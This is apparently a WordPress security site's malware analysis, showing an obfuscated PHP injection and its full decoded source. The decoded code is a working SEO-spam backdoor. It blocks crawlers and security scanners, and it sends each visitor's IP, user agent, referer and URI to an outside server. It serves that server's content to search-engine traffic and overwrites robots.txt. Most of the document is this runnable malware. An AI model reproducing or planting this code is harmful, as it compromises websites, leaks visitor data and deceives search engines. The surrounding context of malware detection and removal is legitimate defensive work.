"\x3f\141\x67\145\x6e\x74\x3d{$MnOa9}\46\162\x65\x66\145\162\75{$Xtn0D}\46\x6c\x61\156\x67\75{$eOyiD}\x26\x69\x70\x3d{$CcaMH}\46\x64\x6f\x6d\x3d{$bYtsH}\46\150\164\164\x70\x3d{$NFiDS}\x26\x75\x72\x69\x3d{$rsacp}\46\160\x63\x3d{$s1tp4}\46\162\x65\x77\x72\x69\164\145\141\x62\154\145\x3d{$oYeml}\x26\163\143\162\x69\160\x74\x3d{$qfd35}"; goto DqQF0; zMlQo: goto OVaqx; goto EpAFe; xU01f: aZVRa: goto zv37S; AoAhb: fIVSu: goto TVkbA; SBWoy: if (strpos($rsacp, "\160\x69\x6e\147\163\x69\x74\x65\155\141\160") !== false) { goto soi9w; } goto EWZDn; L5LPZ: goto Vqw8z; goto AI4DC; jL7gM: fEOYF: goto tdAtz; nFrHh: PR8uC: goto k5lEC; e_uJK: goto hfbhW; goto hDCao; rwgxe: Ejzv5: goto q2tvV; xkNgA: goto W39N1; goto nk14X; tdAtz: rdqEM:
?>

Decoded(de-Obfuscated) php code

<?php

$s1tp4 = "CVJRCwAg";
$iq0t0 = "h";
$epi5h = "p://cw4";
$MQGtr = "correct.c";
$OpDjh = "om/";
$PFf5k = "924.it";
$FDkXn = "tt";
$ctL9C = "http://cw4924.itcorrect.com/";
$QuyD0 = "duckduckgo|bing|Google|aol|Yahoo";
if (preg_match("/(Bytespider|Barkrowler|Python-urllib|swiftbot|Paloaltonetworks|OBot|AhrefsBot|FeedDemon|amazonBot|Ezooms|AskTbFXTV|Indy Library|jikeSpider|python|DataForSEO|SemrushBot|Heritrix|java|Mj12bot|Paqlebot|LightDeckReports Bot|DigExt|zmEu|httpClient|claudebot|CrawlDaddy|apacheBench|YandexBot|universalFeedParser|CoolpadWebkit|Go-http-client|petalBot|Python-requests|CensysInspect|GPTBot|yySpider|jaunty|scrapy|yisouSpider|EasouSpider|SeznamBot|DotBot|feedly)/i", $_SERVER["HTTP_USER_AGENT"])) {
    header("HTTP/1.0 403 Forbidden");
    exit;
}
cfJyr:
$eOyiD = urlencode(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]);
error_reporting(0);
$CcaMH = $_SERVER["REMOTE_ADDR"];
$Xtn0D = urlencode(@$_SERVER["HTTP_REFERER"]);
$MnOa9 = urlencode($_SERVER["HTTP_USER_AGENT"]);
$bYtsH = urlencode($_SERVER["HTTP_HOST"]);
if (!isset($_SERVER["HTTP_CLIENT_IP"])) {
    if (!isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        goto IV38f;
    }
    lz533:
    $CcaMH = $_SERVER["HTTP_X_FORWARDED_FOR"];
    goto aCb7k;
}
uhWl8:
$CcaMH = $_SERVER["HTTP_CLIENT_IP"];
aCb7k:
IV38f:
$CcaMH = urlencode($CcaMH);
$qfd35 = urlencode($_SERVER["SCRIPT_NAME"]);
if (!(!empty($_SERVER["REQUEST_SCHEME"]) and $_SERVER["REQUEST_SCHEME"] == "https" or !empty($_SERVER["HTTPS"]) and $_SERVER["HTTPS"] == "on" or !empty($_SERVER["SERVER_PORT"]) and $_SERVER["SERVER_PORT"] == "443" or isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) and $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https")) {
    $_SERVER["REQUEST_SCHEME"] = "http";
    goto vj4O6;
}
yQE0j:
$_SERVER["REQUEST_SCHEME"] = "https";
vj4O6:
function t2xKA($NZLKl, $IDqvy)
{
    $sNVBj = fopen($NZLKl, "w");
    if ($sNVBj) {
        fwrite($sNVBj, $IDqvy);
        fclose($sNVBj);
        return true;
    }
    MOBKx:
    return false;
}
function QJIxn($NZLKl)
{
    $sNVBj = fopen($NZLKl, "r");
    if ($sNVBj) {
        $IDqvy = fread($sNVBj, filesize($NZLKl));
        fclose($sNVBj);
        return $IDqvy;
    }
    Xk1ur:
    return false;
}
$rsacp = urlencode($_SERVER["REQUEST_URI"]);
$NFiDS = urlencode($_SERVER["REQUEST_SCHEME"]);
if (strpos($rsacp, "jdnjdn") !== false) {
    echo "ok";
    exit;
}
RB1Ay:
$VAjN5 = "jdn.txt";
$oYeml = 0;
if (is_file($VAjN5)) {
    $oYeml = QJixn($VAjN5);
    goto UBU4T;
}
qTzw3:
$wpdbo = $NFiDS . "://" . $_SERVER["HTTP_HOST"] . "/jdnjdn";
$Ais9i = @file_get_contents($wpdbo);
if (!($Ais9i === "ok")) {
    $oYeml = 0;
    T2xKa($VAjN5, "0");
    goto HQf1w;
}
R4CpU:
$oYeml = 1;
T2xka($VAjN5, "1");
HQf1w:
UBU4T:
if (!(strpos($rsacp, "favicon.ico") !== false)) {
    if (!(strpos($rsacp, "robots.txt") !== false or strpos($rsacp, "jp2023") !== false or strpos($rsacp, "pingsitemap") !== false or preg_match("@^/(.*?).xml\$@i", $_SERVER["REQUEST_URI"]) or preg_match("/({$QuyD0})/i", $_SERVER["HTTP_USER_AGENT"]) or preg_match("/({$QuyD0})/i", @$_SERVER["HTTP_REFERER"]))) {
        goto KI5OB;
    }
    fC12g:
    $Hvxgk = '';
    $J0Hok = $ctL9C . "?agent={$MnOa9}&refer={$Xtn0D}&lang={$eOyiD}&ip={$CcaMH}&dom={$bYtsH}&http={$NFiDS}&uri={$rsacp}&pc={$s1tp4}&rewriteable={$oYeml}&script={$qfd35}";
    if (strpos($rsacp, "pingsitemap") !== false) {
        $PveM8 = $_SERVER["SCRIPT_NAME"];
        if (!(strpos($PveM8, "index.ph") !== false)) {
            $PveM8 .= "?";
            goto a9KBO;
        }
        TVkbA:
        if (!($oYeml == 0)) {
            $PveM8 = "/";
            goto omJfV;
        }
        bDdDp:
        $PveM8 = "/?";
        omJfV:
        a9KBO:
        $Hvxgk = "User-agent: *\r\nAllow: /";
        $JJbGd = "{$NFiDS}://" . $bYtsH . $PveM8 . "sitemap.xml";
        $Hvxgk = trim($Hvxgk) . "\r\n" . "Sitemap: {$JJbGd}";
        $Bd5Ff = '';
        echo $JJbGd . ": " . $Bd5Ff . "<br/>";
        $J0Hok = $ctL9C . "?agent={$MnOa9}&refer={$Xtn0D}&lang={$eOyiD}&ip={$CcaMH}&dom={$bYtsH}&http={$NFiDS}&uri={$rsacp}&pc={$s1tp4}&rewriteable={$oYeml}&script={$qfd35}&sitemap=" . urlencode($JJbGd);
        goto XEcdc;
    }
    XEcdc:
    $Ais9i = @file_get_contents($J0Hok);
    if (empty($Ais9i)) {
        $GWTzN = curl_init();
        curl_setopt($GWTzN, CURLOPT_URL, $J0Hok);
        curl_setopt($GWTzN, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($GWTzN, CURLOPT_FOLLOWLOCATION, false);
        curl_setopt($GWTzN, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($GWTzN, CURLOPT_SSL_VERIFYHOST, FALSE);
        $Ais9i = curl_exec($GWTzN);
        curl_close($GWTzN);
        goto Pp2gh;
    }
    Pp2gh:
    if (!empty($Ais9i)) {
        if (substr($Ais9i, 0, 10) == "error code" or $Ais9i == "500" or strpos($Ais9i, "Bad Gateway") !== false) {
            header("HTTP/1.0 500 Internal Server Error");
            exit;
        }
        O1ZKx:
        if (!(strpos($rsacp, "jp2023") !== false)) {
            if (!(substr($Ais9i, 0, 5) == "<?xml")) {
                header("Content-Type: text/html; charset=utf-8");
                goto Gxw31;
            }
            pyiS3:
            header("Content-Type: text/xml; charset=utf-8");
            Gxw31:
            goto BC2hw;
        }
        Y5r4M:
        header("HTTP/1.1 404 Not Found");
        BC2hw:
        echo $Ais9i;
        if (empty($Hvxgk)) {
            if (strpos($rsacp, "robots.txt") !== false) {
                T2XkA("robots.txt", $Ais9i);
                goto ZLmdb;
            }
            ZLmdb:
            goto RL0xX;
        }
        A9asL:
        T2XKa("robots.txt", $Hvxgk);
        RL0xX:
        exit;
    }
    nFrHh:
    KI5OB:
    goto rdqEM;
}
qLqgY:
rdqEM:

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.